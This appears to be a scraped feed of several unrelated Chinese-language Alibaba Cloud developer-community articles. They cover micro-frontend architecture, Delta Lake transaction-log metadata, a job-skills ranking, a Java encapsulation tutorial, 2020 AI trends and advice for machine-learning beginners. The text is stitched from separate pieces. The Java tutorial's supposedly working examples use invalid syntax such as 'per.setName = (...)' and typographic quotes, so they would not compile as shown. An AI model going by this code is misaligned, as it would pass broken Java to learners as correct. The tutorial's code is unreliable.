        比如构建,增加微应用类型的项目构建,有动态的打包策略。传统项目管理工具通常是命令行工具,包括构建、发布、测试,会升级为项目工作台,通过 Web 界面管理项目。一个项目包括哪些微应用,版本,发布策略等在配置中心统一管理。一个大型应用被「碎片化」后,还要能做到「一目了然」。哪个模块报错,加载失败等异常发生第一时间反应在配置中心里。

        下面的原型图,就是一个最基本的配置中心的样貌。微前端体系要可控、可观察。

        image.png

        通过多个微应用的组合,能够在变化如此复杂的需求中,更好的更快的赋能业务。

        云时代的前端开发模式

        前端开发从 PC 时代到移动时代,从刀耕火种的原始运维到云计算时代,回顾起来,我们会发现——开发模式跟时代背景真是密不可分。前端奋斗 20 年才把页面写好,而现在又变成「切页面」了,只是此「切」非彼「切」。云时代的开发模式注定是「碎片化」的,开发是面向模块的,而页面只是一种组合场景,一种运行时容器。

        我想,未来的产品开发主要时间是在「编排」——编排服务、编排逻辑、编排组件、编排访问策略、编排流程。到了云时代,一家企业只要招几个前端工程师就可以了,兼顾开发和运维、资产全部上云,运维任务通过控制台就能完成。开发借助 Serverless 和编排工具就能实现无服务端。在未来,无论是前端工程师还是全栈工程师,都将不复存在,应该叫端到端(F2E -> E2E)工程师了。

        D2 微前端专场

        本届 D2 微前端专场将邀请在微前端领域具有丰富实践的工程师,一起来为大家分享他们的理解和思考,希望能让大家对微前端有更加清晰的认识。

        image.png

        ]]>
        Delta元数据解析-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:宋军,花名嵩林,阿里云EMR技术专家。从事Spark内核优化,对SparkCore/SprakSQL有深入了解,Spark Contributor


        Delta元数据解析

        元数据初识

        Delta有自己的元数据管理,主要有6种类型的元数据Action:

        • SetTransaction
        • AddFile
        • RemoveFile
        • Metadata
        • Protocol
        • CommitInfo

        Delta的元数据统一存放在Delta的logpath下面的_delta_log文件夹中

        _delta_log文件夹位置

        不管DeltaTable是分区表还是非分区表,_delta_log文件夹只有一个,都位于Delta的logpath下面
        delta1.png

        _delta_log文件夹内容

        _delta_log文件夹下存储了所有Delta的相关元数据,如下所示

        • Delta每次事务commit都会产生一个json的元数据文件,文件内容包括本次commit做的所有action,比如AddFile/RemoveFile等等;
        • 每产生一个新的json文件就会产生一个新的Delta的snapshot,snapshot的版本即该json文件中的数字,该数字必须是连续自增(不能缺失),Delta的某个版本的snapshot是通过顺序回放所有小于等于该snapshot版本号的所有json文件得到;
        • 每个json文件会有一个对应的crc校验文件(源码中有相关代码,但是并没有实际去写该crc)
        • 对元数据做checkpoint时会产生新的checkpoint文件(parquet)

        如下FileNames类用来管理_delta_log文件夹下相关文件的文件名:屏幕快照 2019-11-29 下午2.45.02.png
        如下_delta_log文件示例:
        屏幕快照 2019-11-29 上午11.46.07.png

        _delog_log文件内容

        • json文件

        屏幕快照 2019-11-29 下午2.50.12.png

        • checkpoint parquet文件:

        parquet文件内容
        屏幕快照 2019-11-29 下午2.58.31.png

        元数据解析

        Actions

        屏幕快照 2019-11-29 下午5.00.02.png

        CommitInfo

        Holds provenance information about changes to the table. This [[Action]] is not stored in the checkpoint and has reduced compatibility guarantees. Information stored in it is best effort (i.e. can be falsified by the writer).

        如:
        {"commitInfo":{"timestamp":1574836330000,"operation":"STREAMING UPDATE","operationParameters":{"outputMode":"Append","queryId":"f5ef8a90-069a-4311-bd0f-4f0c93d89cfe","epochId":"0"},"isBlindAppend":true}}

        {"commitInfo":{"timestamp":1574824794574,"operation":"WRITE","operationParameters":{"mode":"Overwrite","partitionBy":"["date","city"]"},"isBlindAppend":false}}

        每次commit一个json文件都会有一个CommitInfo,记录当前commit对Delta表的修改行为,比如示例中的operation类型有STREAMING UPDATE / WRITE等等

        Protocol

        Used to block older clients from reading or writing the log when backwards incompatible changes are made to the protocol. Readers and writers are responsible for checking that they meet the minimum versions before performing any other operations.Since this action allows us to explicitly block older clients in the case of a breaking change to the protocol, clients should be tolerant of messages and fields that they do not understand.

        如:
        {"protocol":{"minReaderVersion":1,"minWriterVersion":2}}

        用来做Delta本身版本兼容性检查,第一个json文件00000000000000000000.json里面会有该信息,除非调用updateProtocol接口会产生一个新的Protocol

        Metadata

        Updates the metadata of the table. Only the last update to the [[Metadata]] of a table is kept. It is the responsibility of the writer to ensure that any data already present in the table is still valid after any change.

        如:
        {"metaData":{"id":"c233ce0c-dd80-44f0-a1d2-a9404adef07e","format":{"provider":"parquet","options":{}},"schemaString":"{"type":"struct","fields":[{"name":"id","type":"long","nullable":true,"metadata":{}},{"name":"date","type":"date","nullable":true,"metadata":{}},{"name":"name","type":"string","nullable":true,"metadata":{}},{"name":"sales","type":"string","nullable":true,"metadata":{}}]}","partitionColumns":[],"configuration":{},"createdTime":1574836328664}}

        Delta表的schema相关信息,Delta支持schema的演化,所以如果对schema进行修改会产生新的Metadata,当生成某个版本的snapshot进行多个json文件顺序回放时,最终snapshot只会保留最新的Metadata,即以最新的Metadata中的schema为准。
        Schema演化规则详见文档(https://databricks.com/blog/2019/09/24/diving-into-delta-lake-schema-enforcement-evolution.html)

        AddFile

        Adds a new file to the table. When multiple [[AddFile]] file actions are seen with the same path only the metadata from the last one is kept.

        如:
        {"add":{"path":"part-00000-c8719ced-3879-4037-b0af-d62c52224af0-c000.snappy.parquet","partitionValues":{},"size":5906,"modificationTime":1574836329955,"dataChange":true}}

        分区文件
        {"add":{"path":"date=20190710/city=bj/part-00000-ef2cca38-7d20-4eaf-a291-81f71fc9d0b5.c000.snappy.parquet","partitionValues":{"date":"20190710","city":"bj"},"size":583,"modificationTime":1574954016825,"dataChange":true}}

        记录在Delta中新增的文件

        RemoveFile

        Logical removal of a given file from the reservoir. Acts as a tombstone before a file is deleted permanently.

        记录删除掉的文件,一般在Merge/Update等操作会有RemoveFile操作。删除的文件并不会被物理删除,只是在元数据中标记该文件删除了,可以通过vacuum命令来实际物理删除超过墓碑时间的文件(默认7天)

        SetTransaction

        Sets the committed version for a given application. Used to make operations like streaming append idempotent.

        如:
        {"txn":{"appId":"f5ef8a90-069a-4311-bd0f-4f0c93d89cfe","version":370,"lastUpdated":1574837260639}}

        SparkStreaming sink到Delta时,记录相关信息来实现ExactlyOnce特性

        元数据产生

        屏幕快照 2019-11-29 下午5.24.49.png
        如上图所示,_delta_log文件夹下文件的一个产生演化流程,每次对Delta表进行相关修改操作(如Delte/Update等)都会生成一个json文件,记录当前修改的所有actions。

        snapshot

        从上面流程可以看出,Delta支持snapshot功能,即可以查看历史某个时间点状态下的Delta表数据,这个也是Delta的TimeTravel功能的基础实现,详见文档(https://databricks.com/blog/2019/02/04/introducing-delta-time-travel-for-large-scale-data-lakes.html)
        每个json文件对应一个snapshot版本,Delta在生成这个snapshot的时候,会将小于等于这个版本号的所有json文件按照时间顺序进行回放合并,snapshot 版本为3,那么它是有00000000000000000000.json/00000000000000000001.json/00000000000000000002.json三个按照顺序合并过来,同一个path的action会进行合并,比如0.json中有AddFile(path1), 1.json中有RemoveFile(path1),那么snapshot版本3状态下的Delta表是不包含path1作为实际数据参与计算的。

        checkpoint

        每次调用OptimisticTransaction.commit(actions)时会判断当前json的版本对checkpointInterval值(可配置,默认为10)取模,如果取模为0则需要做一次checkpoint。checkpoint会将当前版本以及当前版本之前的所有json文件进行合并(仅仅是文件合并,不对内容做任何更改)到一个parquet文件,这样可以减少后续生成snapshot读取json文件的个数,并且parquet文件也带有压缩,使得存储变小。


        阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区数个Spark技术同学每日在线答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!
        二维码.JPG

        ]]>
        计算机技能需求新排名:Python 仅排第 3,第 1 你可能猜不到哦-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文经机器之心(微信公众号:almosthuman2014)

        机器之心整理

        除了编程语言之外,要想找一份计算机相关的工作,还需要很多其他方面的技能。最近,来自美国求职公司 Indeed 的一份报告显示:在全美工作技能需求中,数据库语言 SQL、编程语言 Java 分列前两位。虽然 Python 和 AWS 分别位列第三和第六,但根据趋势来看,二者很有可能成长为未来几年最受欢迎的技能。
        image.png

        9102 年了,哪一门计算机技能最当红?

        为了研究这件事,美国招聘网站 Indeed 做了一项调查,统计了 2014 年到 2019 年五年间发布在自己网站上的数百万个美国地区的岗位数据,这些岗位共包含了 571 项计算机技能的关键词。这项调查也引来了 IEEE Spectrum 的关注。

        结果显示:
        **SQL 第一,Java 第二,Python 第三。
        四、五名分别是 Linux、JavaScript。
        AWS 后来居上,排在第六名。**

        下面这个图表用不同背景色显示了每种技能的波动趋势:

        • 绿色背景表示增幅大于 10%
        • 黄色背景表示增幅小于等于 10%
        • 红色背景表示减幅大于 10%

        image.png

        下图展示了排名前 10 的技能在过去 5 年的热度变化情况:
        image.png

        Python 和 AWS:身价倍增的技术「新贵」
        image.png

        虽然这一次 Python 和 AWS 仅仅排在第三名和第六名,但重点在于,这二位的热度在过去的五年中分别上涨了 123%418%。相比之下,排在第二名的 Java 上升缓慢,而还在榜首的 SQL 甚至出现了下跌趋势。

        按目前的趋势发展下去,Python 和 AWS 很有可能在未来的一到两年内跻身榜首。

        Python 的表现似乎在预料之内,毕竟在今年的几份编程语言榜单中,Python 都表现不俗。

        在 IEEE Spectrum 今年 9 月份发布的第六届编程语言排行榜中,Python 名列第一 (趋势、开源、职位需求都是第一),而且与第二名 Java 的差距正在拉大。在前不久发布的 GitHub 年度报告中,Python 也成为第二热门语言 ,其代码库贡献仅次于 JavaScript。在此趋势下,地产大佬潘石屹都表示要开始学习 Python 了。

        AWS(Amazon Web Services)是电商巨头亚马逊于 2002 年推出的云计算平台。根据 Gartner 此前发布的 2018 年全球云计算市场报告:亚马逊排名第一,所以其职位需求的激增也不难理解。

        Azure 与 Docker:最值得关注的黑马

        然而,这五年起伏间最大的黑马并不是这两位,而是目前暂居第 17 位的 Azure 和第 20 位的 Docker,二者的热度分别上涨了 1107% 和 4162%。在 2014 年的时候,Azure 的热度不过才 0.6%,而 Docker 的热度甚至只有 0.1%,说是一种阶层跃升也不为过。

        目前在全球云服务市场中,微软的 Azure 仅次于亚马逊 AWS,排名第二,领先于谷歌、IBM 和阿里巴巴。从财报来看,Azure 的增长率甚至高于 AWS 的增长率,是 AWS 的有力竞争对手。但从职位需求来看,Azure 与 AWS 还有不小的差距。AWS 和 Azure 技能需求的增长表明,云计算平台和服务的重要性与日俱增。

        而作为云计算开发者必须的技能之一,Docker 是一个方便快捷的开源应用容器引擎,深受开发者欢迎。自推出以来,Docker 的职位也需求量一直呈上升趋势。

        image.png

        同样表现亮眼的还有机器学习,热度从 2014 年的 1.3% 上升到 7.0%,增幅达 493%。

        image.png

        瑟瑟发抖的 Oracle、HTML、SQL Server 和.net

        表格中的红色区域是热度下降较为明显(超过 10%)的几项技能,包括Oracle(-38%)、HTML(-17%)、SQL Server(-17%)、.net(-15%)。从下面的曲线图中可以更加直观地看到这种趋势。

        image.png

        Python 和 AWS 需求火热的背后

        2014 年 9 月,Python 在技术能力排行榜上排第 15 名,也算靠前。五年后,它已经跃居第三位,份额增加了 123%。AWS 的崛起更是令人惊叹,同期增长 418%,排名从第 39 名上升到了第 6 名。

        人气飙升的背后是有原因的:Indeed 的研究人员指出,对 Python 技能的需求激增来源于数据科学家和工程师职位的爆发式增长,他们或多或少都会用到 Python。研究人员还指出,全栈开发人员和开发运营工程职位的激增推动了 AWS 的增长。软件工程师和全栈开发人员越来越多地使用 Python,还有一些类似岗位的人员经常使用 AWS。

        技术技能热度的上升或下降有两个原因:1)更多(或更少)的技术工作需要该技能;2)或多或少使用该技能的工作出现增加或减少,即使该工种职位数量总体上并未发生如此大幅度的增减。

        第二个因素驱动了 Python 和 AWS 的巨幅增长。数据科学家和数据工程师等或多或少使用 Python 的技术性岗位急剧增加,使得 Python 的热度急剧上升。

        但 AWS 的情况略有不同,这一技能的热度增长与数据科学家职位的上升趋势并不紧密相关。相反,诸如全栈开发人员和开发运营(「DevOps」)工程师之类的技术工作促使了它的增长。不断变化的工作组合(如数据科学家和全栈开发人员职位的增长)推动了 Python 和 AWS 等技能的崛起。

        参考链接:

        https://spectrum.ieee.org/view-from-the-valley/at-work/tech-careers/sql-java-top-list-of-most-indemand-tech-skills

        https://www.hiringlab.org/2019/11/19/today's

        ]]>
        保守VS开放?看清封装对象属性 | 带你学《Java面向对象编程》之四-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 上一篇:对象“变形记”——初识引用与GC | 带你学《Java面向对象编程》之三
        【本节目标】
        通过阅读本节内容,你将深刻理解封装对象属性的重要性,并学会如何按照Java开发标准正确地实现属性封装与通过封装的方法在类外调用其属性。

        4.1 成员属性封装

        在类之中的组成就是属性与方法,一般而言方法都是对外提供服务的,所以是不会提供封装处理的,而对于属性,由于其需要较高的安全性,所以往往需要对其进行保护,这种情况下,就需要采用封装性对属性进行保护。
        在默认情况下,对于类中的属性是可以通过其他类利用对象重复调用的。
        范例:属性不封装情况下的问题

        class Person{    //定义一个类
        String name ;  //人员的姓名
        int age ;       //人员的年龄
        public void tell() {
          System.out.println(“姓名:”+ name +”、年龄:”+age) ;
          } 
        }
        public class JavaDemo {      //主类
            public static void main(String args[]) {
              Person per = new Person() ;     //声明并实例化对象
              per.name = “张三” ;           //在类外部修改属性
              per.age = -18 ;                //在类外部修改属性
              per.tell() ;            //进行方法的调用
          }
        }

        image.png
        图一 执行结果一

        此时在person类中提供的name与age两个属性并没有进行封装处理,这样外部就可以直接进行调用,但是有可能设置的数据是错误的数据(per.age = -18 ;)。如果要想解决这样的问题就可以利用private关键字对属性进行封装处理。
        范例:对属性进行封装

        class Person{    //定义一个类
        private String name ;  //人员的姓名
        private int age ;       //人员的年龄
        public void tell() {
          System.out.println(“姓名:”+ name +”、年龄:”+age) ;
          } 
        }
        public class JavaDemo {      //主类
            public static void main(String args[]) {
              Person per = new Person() ;     //声明并实例化对象
              per.name = “张三” ;           //在类外部修改属性
              per.age = -18 ;                //在类外部修改属性
              per.tell() ;            //进行方法的调用
          }
        }

        image.png
        图二 执行结果二

        而属性一旦封装之后外部将不能够直接访问,即:对外部不可见,但是对类的内部是可见的,如果想让外部的程序可以访问封装的属性,则在Java开发标准中提供有如下要求:
        【setter、getter】设置或取得属性可以使用setXxx()、getXxx()方法,以:private String name 为例;

        • 设置属性方法:public void setName(String n);
        • 获取属性方法:public String getName()。

        范例:实现封装

        class Person{    //定义一个类
        private String name ;  //人员的姓名
        private int age ;       //人员的年龄
        public void tell() {
          System.out.println(“姓名:”+ name +”、年龄:”+age) ;
        } 
        public void setName(String n){
          name = n ;
        }
        public void setAge(int a){
          age = a ;
        }
        public String getName(){
          return name ;
        } 
        public int getAge (){
          return age;
        } 
        }
        public class JavaDemo {      //主类
            public static void main(String args[]) {
              Person per = new Person() ;     //声明并实例化对象
              per.setName = (“张三”) ;           //在类外部修改属性
              per.setAge = (-18) ;                //在类外部修改属性
              per.tell() ;            //进行方法的调用
        }
        }

        image.png
        图三 执行结果三

        年龄是负数,不符合常规。
        修改:

        class Person{    //定义一个类
        private String name ;  //人员的姓名
        private int age ;       //人员的年龄
        public void tell() {
          System.out.println(“姓名:”+ name +”、年龄:”+age) ;
        } 
        public void setName(String n){
          name = n ;
        }
        public void setAge(int a){
          if(a >= 0){
            age = a ;
          }
        }
        public String getName(){
          return name ;
        } 
        public int getAge (){
          return age;
        } 
        }
        public class JavaDemo {      //主类
            public static void main(String args[]) {
              Person per = new Person() ;     //声明并实例化对象
              per.setName = (“张三”) ;           //在类外部修改属性
              per.setAge = (-18) ;                //在类外部修改属性
              per.tell() ;            //进行方法的调用
          }
        }

        image.png
        图四 执行结果四

        在以后进行任何类定义的时候一定要记住,类中所有属性都必须使用private封装,并且属性如果要进行访问,必须要提供有setter、getter方法
        想学习更多的Java的课程吗?从小白到大神,从入门到精通,更多精彩不容错过!免费为您提供更多的学习资源。
        本内容视频来源于阿里云大学

        下一篇:“生而有值”—教你使用构造函数 | 带你学《Java面向对象编程》之五
        更多Java面向对象编程文章查看此处

        ]]>
        一线专家谈2020年人工智能落地趋势 Fri, 02 May 2025 09:39:04 +0800 转眼间,2019年只剩下不到1个月了。人工智能的热度依旧,只是在资本市场,看空的投资人也越来越多了。从当年大数据的发展趋势看,这种情况反而对产业发展是有利的。因为这意味着,进入赛道的野蛮竞争玩家会越来越少。
        对于已经拿到赛道入场券的选手来说,如何合理配置手中的资源成为生死存亡的关键,同时细分市场上的领头羊可能在这样焦灼的市场竞争中成长为独角兽。
        对于从事大数据与人工智能相关领域多年的人来说,其最终目标还是“从数据中挖掘价值”。在挖掘价值时,具体某类技术只是整个过程中某个阶段的辅助工具,单纯某类技术解决不了所有问题。因此,我们基于“最终目标”划分三大类场景去运用“大数据”和“人工智能”构建整体解决方案:

        一.寻找业务增长点:数据建模能力成为核心,当前Fintech/Regtech领域需求广泛
        核心要素:帮助企业解决经营决策中遇到的数据支撑问题。无论是营销还是风控,最终都是通过一些报表、模型去辅助业务人员做决策。

        解决方案:机器学习类产品已经成为金融行业寻求业务增长点的标配工具,同时越来越多的传统行业也开始使用大数据、人工智能等技术做辅助决策。
        解决方案难点:由于跟业务结合紧密,虽然已经在不同行业开始落地,但实际进展缓慢。由于业务的特殊性,往往不能够单单通过算法本身去解决所有业务问题。这同时也意味着,交付目标以及实施周期的不确定性。

        二、加深业务壁垒:知识中枢成为重要工具,当前金融/安全等行业试点较多
        核心要素:对现有业务实现优化。

        解决方案:在这一场景中,知识中枢运用较多。我们将三大块技术:知识图谱、搜索引擎、深度图谱糅合进知识中枢的概念中。首先通过搜索引擎进行行业知识检索,再通过知识图谱进行概念串联,最后通过深度图谱进行行业知识推理。
        解决方案难点:如何将行业知识抽象出来,形成公司内部的知识系统,从而有针对性地对现有业务流程、具体业务点进行整体优化。

        三、降低业务成本:自动化成为基础要素,当前能源/交通等行业突破开始
        核心要素:如何减少人工干预。

        解决方案:现有的场景中,偏业务性质的自动化可以通过RPA等技术实现。RPA本身技术门槛不高,但在NLP、OCR、CV等AI技术带领下,已逐步被用在越来越多的场景中。另一方面,由于图像识别以及5G、边缘计算的推动,越来越多的安防监控、无人巡检等AIOT场景开始落地。相对于RPA,AIOT的场景给客户业务带来的颠覆跟价值更大。
        解决方案难点:现实场景中的有效样本较少,影响模型的准确率和落地。

        下面我们将结合三种不同的场景来阐述六大AI趋势。
        01
        趋势一:Fintech/Regtech AI落地过程中,AI平台逐步成为事实标准
          
        AI平台,在很多地方又称为AI中台/数据科学平台/机器学习平台/人工智能平台,主要涵盖的功能除了传统统计分析软件包含的功能以外,还包括大数据、分布式计算平台、NLP、CV等能力。
        行业先行者在探索AI落地过程中,逐步意识到AI平台的重要性。从一开始只针对几个小的业务线进行试点,到后续在更多的场景中推动落地,大家达成共识:与数据中台类似,烟囱式的各自为政只会使得后续AI的落地愈加艰难。
        AI平台在Fintech市场的爆发,验证了一个基本事实:只要业务领域有足够通用的需求,就会出现足够通用的平台。数据库本身是上一个数据的事实标准,而AI平台则没有一个明确的定位。由于这个想象空间,AI平台便成了各大玩家的必争之地。

        02
        趋势二:数据建模开始在非金融行业的龙头企业流行,国产化趋势明显
          
        AI平台在其他行业的试点也如同星星之火。虽然其他传统行业的信息化水平普遍比金融略低,但也在迎头赶上。往往这些行业取得的成果比金融要多,这是因为满地都是顺手可摘的果子,成果落地比金融行业相对容易。
        这些企业原本可能使用的是SAS、SPSS或者Matlab等国外产品,现在可能在试用国产AI平台。一方面是因为SAS等产品不足以支撑最新流行的框架算法,另一方面也有国产化层面的考量。
        AI平台作为人工智能基础平台,本身需要对各领域专业算法具备深入理解以及实现的能力。同时作为平台,也有通用性、高性能以及安全可靠等各方面的平台需求,对相关研发人员有极高的技术要求。当前,国产平台跟SAS等比较,整体还是略占劣势,但是在某些细分领域已经实现了超越。

        03
        趋势三:图谱应用开始在全行业推广,伪需求略多,注意辨别
          
        图谱类的应用,主要对应于上面提到的“知识中枢”。基于“知识中枢”去做特定行业的图谱类应用已经在市场上流行了一段时间。
        只是,一方面由于客户对这块有不切实际的要求,另一方面,大多数实施图谱应用的厂商能力参差不齐,实际项目也没办法最终落地。
        2020年对大多数图谱类应用,客户会有一个更清醒的认识:做什么它擅长,做什么它不行,应该怎样做,都会有一定的经验。这也对图谱应用有更高的技术层面的要求,同时也对NLP算法以及图谱算法有更多落地层面的考量,包括性能、实施周期、最终效果等。

        04
        趋势四:深度图谱在反欺诈、反洗钱、犯罪团伙分析等场景开始落地
          
        由于深度学习自身相关技术的停滞,将深度学习与图谱结合成为了学术界的主攻方向。而在反欺诈、反洗钱、犯罪团队分析等场景下,复杂网络分析已经成为主流的分析手段。通过深度学习与图谱的融合,深度图谱给传统的图谱分析带来了图谱推理的能力,从而将原有的模型精度提升到另一个高度。
        然而,一旦涉及到落地,故事并没有那么简单。一方面,同大多数AI应用一样,落地过程是比较曲折和复杂的。本身模型精度需要不断迭代,同时也需要对业务非常熟悉的人员进行及时反馈,这就导致对业务跟算法的要求都非常高,一旦实施过程中出现偏差,容易有挫败感。另外,在一些对实时性要求比较高的场景中,对底层图数据库的性能也有要求。而当前的市场上,图数据库厂商虽然多,但大多数时候没有懂技术的人员去调优,使得真正能同时满足性能要求和算法要求的图数据库凤毛麟角。

        △反洗钱深度图谱构建

        △深度图谱建模
        05
        趋势五:视频图像类应用的碎片化与场景化成为AI快速落地推广的拦路虎
          

        CV类场景是引爆AI大火的导火索,同时,由于大多图像场景偏识别类,跟业务离得比较远,可以大规模地在市场上扩张。
        不过,我们可以惊奇地看到,CV类的需求还在不停地膨胀。这是因为,当前市场的CV巨头在人脸、车辆等通用需求方面进行了大规模落地,而对于一些偏碎片化的场景,比如设备故障识别、异常识别,甚至特殊场景的人脸识别,都缺乏足够的技术支撑与耐心去推动落地。
        因此,怎样提升CV场景落地的效率成为大多数CV从业者的主要工作方向,这里面包括多个维度:第一,从科研层面去革新算法,第二,从工具层面去落实标注、训练、部署等的一体化平台,第三,从市场角度定义行业通用化的场景,第四,从技术角度去优化模型,从而降低实施成本。
        在这个大背景下,四大CV独角兽也好,互联网巨头也好,都试图去推动平台的落地。然而,在这样的“四维”要求下,要踏踏实实地在细分场景中打磨通用模型、平台,谈何容易。但这也让耕耘细分行业的小CV厂商有足够的空间去摸索。

        06
        趋势六:AIOT物联网场景没有大规模的需求爆发,细分行业开始出现落地

         我们看到,所谓的AIOT场景,主要还是CV类场景带动,但一些深入需求(如需要传感器数据参与的预测性维护类场景)落地较少。
        这跟“智能制造”的特点比较相关。客户在车间现场通常需要一个开箱即用的产品,而大多数AI类场景需要足够多的时间去打磨。另外,大多数工业场景需要的不仅仅是大量有价值的数据,还需要对工业场景有深刻的理解。
        首先,“大量有价值”的数据本身不大可能获得。比如,在预测性维护的场景下,所谓“有价值”,就是指相同或者类似的设备历史上出现故障的时候对应的数据,这种数据当然很少。其次,在部分异常数据的加持下,一般的统计分析算法可能分析不出什么。这跟金融类的风控场景不同,风控场景考验的是人性,从人性的角度去做一定深度的分析,并结合算法就可以取得不错的效果。而对于设备,这里需要的是一个深刻理解机械原理的算法专家。

        即使面对这样的困境,我们还是看到了一些制造业企业开始摩拳擦掌,虽然深入的AI算法用不上,简单的BI也能提供价值嘛。
        只是感叹,Predix还是出来太早了,那2020年会有突破吗?还是得看“智能制造”的内生动力多大,期望一些细分场景会有落地。

        人工智能的2019年注定是平静的一年,因为技术爆发以及投资引导时期已过,避免不了被冷清。然而,正如大多数技术周期一样,当技术本身有价值且具备落地能力的时候,技术落地的过程逐步展开。
        我们相信对于大多数在探索人工智能落地过程的从业人员来说,故事才刚刚开始。而对于参与炒作概念的玩家来说,也找到了新的方向:区块链。
        从更宏观的数字化转型的角度来看,还有太多的事情值得大家去落实。抓紧2019年的尾巴好好做几个落地项目吧。

        ]]>
        干货 | 五个给机器学习和数据科学入门者的学习建议 Fri, 02 May 2025 09:39:04 +0800 两年前,我开始在网上自学机器学习,并且通过 YouTube 和博客分享了我的学习过程。我并不知道我在做什么,在决定开始学习机器学习之前我从没写过代码。

        当人们发现我的作品,他们通常会私信并提问。我不一定知道所有的答案,但我会尽量回复。人们最常问的问题是:「该从哪开始?」,其次是:「我需要多少数学基础?」今天早上我就回答了一堆这样的问题。

        有人告诉我他已经开始学习 Python 并打算学习机器学习了,但不知道下一步该做什么。

        「我已经学习了 Python,下一步该做什么?」

        我回复了一系列学习的步骤,并且复制到了这里。如果你想成为一个机器学习从业者,却不知道怎么写代码的话,可以把本文当作一个大纲。我的学习风格是代码优先:先把代码运行起来,再根据需要学习理论、数学、统计以及概率等方面的东西,而不是一开始就学理论。

        记住,开始学习机器学习你会面临很多阻碍。别急,慢慢来。把这篇文章添加到收藏夹,以便随时参考。

        我倾向于使用 Python,因为我是从 Python 开始的,并且一直在持续使用它。你也可以用其他语言,但本文的所有步骤都是基于 Python 的。

        学习 Python、数据科学工具和机器学习概念

        问我问题的那些邮件作者们说他们已经学了一些 Python。但这一步也同样适用于新手。花几个月的时间学习 Python 编程和不同的机器学习概念。这两部分知识你都会需要。

        在学习 Python 编程的同时,练习使用 Jupyter 和 Anaconda 等数据科学工具。花几个小时来研究一下,它们是用来做什么的以及为什么要使用它们。

        学习资源

        人工智能要素 (https://www.elementsofai.com/)—人工智能和机器学习主要概念概述。
        Coursera 上的 Python 教程—(https://bit.ly/pythoneverybodycoursera) 从头学习 Python。
        通过 freeCodeCamp 学习 Python (https://youtu.be/rfscVS0vtbw)—一个视频涵盖了 Python 所有主要概念。
        Corey Schafer 的 Anaconda 教程 (https://youtu.be/YJC6ldI3hWk)—一个视频学会 Anaconda(数据科学和机器学习需要的配置环境)。
        Dataquest 的新手 Jupyter Notebook 教程 (https://www.dataquest.io/blog/jupyter-notebook-tutorial/)—一篇文章学会启动和运行 Jupyter Notebook。
        Corey Schafer 的 Jupyter Note 教程 (https://www.youtube.com/watch?v=HW29067qVWk)—一个视频学会使用 Jupyter Notebook。

        学习通过 Pandas、Numpy 和 Matplotlib 进行数据分析、操作和可视化

        一旦你已经掌握了一些 Python 技巧,就会开始想要学习如何处理和操作数据,为了实现这一目的,你需要熟悉 Pandas、Numpy 和 Matplotlib。

        Pandas 可以帮助你处理二维数据,类似 Excel 文件里的信息表,包含行和列。这类数据被称为结构化数据。
        Numpy 可以帮助你进行数值计算。机器学习把你能想到的所有东西都转化成数字,进而在这些数字中寻找模式。
        Matplotlib 可以帮助你绘制图形和可视化数据。理解表格中的一堆数字对人类来说可能很困难。我们更喜欢看到有一条线穿过的图。可视化可以更好得传达你的发现。
        学习资源

        Cousera 上的 Python 应用数据科学 (http://bit.ly/courseraDS)—开始打磨数据科学方向的 Python 技能。
        10 分钟入门 pandas (https://pandas.pydata.org/pandas-docs/stable/gettingstarted/10min.html)—快速概览 pandas 库及其部分最有用的函数。
        Codebasics 的 Python pandas 教程 (https://youtu.be/CmorAWRsCAw)—该 YouTube 系列介绍了 pandas 的所有主要功能。
        freeCodeCamp 的 NumPy 教程 (https://youtu.be/QUT1VHiLmmI)—一个 YouTube 视频学会 NumPy。
        Sentdex 的 Matplotlib 教程 (https://www.youtube.com/watch?v=q7Bo_J8x_dw&list=PLQVvvaa0QuDfefDfXb9Yf0la1fPDKluPF)—YouTube 系列助你学会 Matplotlib 所有最有用的功能。

        借助 scikit-learn 学习机器学习

        现在你已经掌握了操作和可视化数据的技能,是时候学习在数据中寻找模式了。scikit-learn 是一个 Python 库,它内置了许多有用的机器学习算法供你使用,它还提供了许多其他有用的函数来探究学习算法的学习效果。

        重点在于学习都有什么样的机器学习问题,比如分类和回归,什么样的算法最适合解决这些问题。现在还不需要从头开始理解每个算法,先学习如何应用它们。

        学习资源

        Data School 的基于 scikit-learn 的 Python 机器学习 (https://www.youtube.com/watch?v=elojMnjn4kk&list=PL5-da3qGB5ICeMbQuqbbCOQWcS6OYBr5A)—一个 YouTube 播放列表教你 scikit-learn 的所有主要函数。
        Daniel Bourke 对探索性数据分析的简要介绍 (https://towardsdatascience.com/a-gentle-introduction-to-exploratory-data-analysis-f11d843b8184)—把你在上述两个步骤中学到的知识融合在一个项目中。提供代码和视频,助你开始第一个 Kaggle 竞赛。
        Daniel Formosso 的基于 scikit-learn 的探索性数据分析笔记 (https://github.com/dformoso/sklearn-classification)—以上资源的更深入版本,附带了一个实践上述内容的端到端项目。

        学习深度学习神经网络

        深度学习和神经网络在没有太多结构的数据上最有效。二维数据虽然有结构,图像、视频、音频文件和自然语言文本也有,但不会太多。

        小贴士:在大多数情况下,你会想对结构化数据使用一组决策树(随机森林或 XGBoost 之类的算法),而对于非结构化数据,你会想使用深度学习或迁移学习(使用预先训练的神经网络并将其用于你的问题)。

        你可以开始把这样的小贴士用一张便条记录,然后边学习边收集这些信息。

        学习资源

        Cousera 上 Andrew Ng 的 deeplearning.ai (https://bit.ly/courseradl) (https://bit.ly/courseradl)—商业上最成功的从业者之一讲授的深度学习课程。
        Jeremy Howard 的 fast.ai 深度学习课程 (https://course.fast.ai/) (https://bit.ly/courseradl)—工业界最好的实践者之一讲授的深度学习实际操作方法。

        其他课程和书籍

        在学习过程中,最理想的情况是你可以用自己的小项目来练习所学的东西。这不必是复杂的,需要改变世界的事情,但你可以说「我用 X 做了这个」。然后通过 github 或博客分享你的工作。github 用于展示你的代码,博客文章用于展示你如何表达自己所做的工作。你应该为每个项目都发布一下这些内容。申请一份工作的最好方法是你已经做完了工作要求做的事情。分享你的工作是向未来的潜在雇主展示你能力的好方法。

        在你熟悉了如何使用不同的机器学习和深度学习框架之后,你可以尝试通过从头开始构建它们来巩固你的知识。你不必总是在生产或从事机器学习时这样做,但是从内部了解事情是如何工作的将有助于你建立自己的工作。

        学习资源

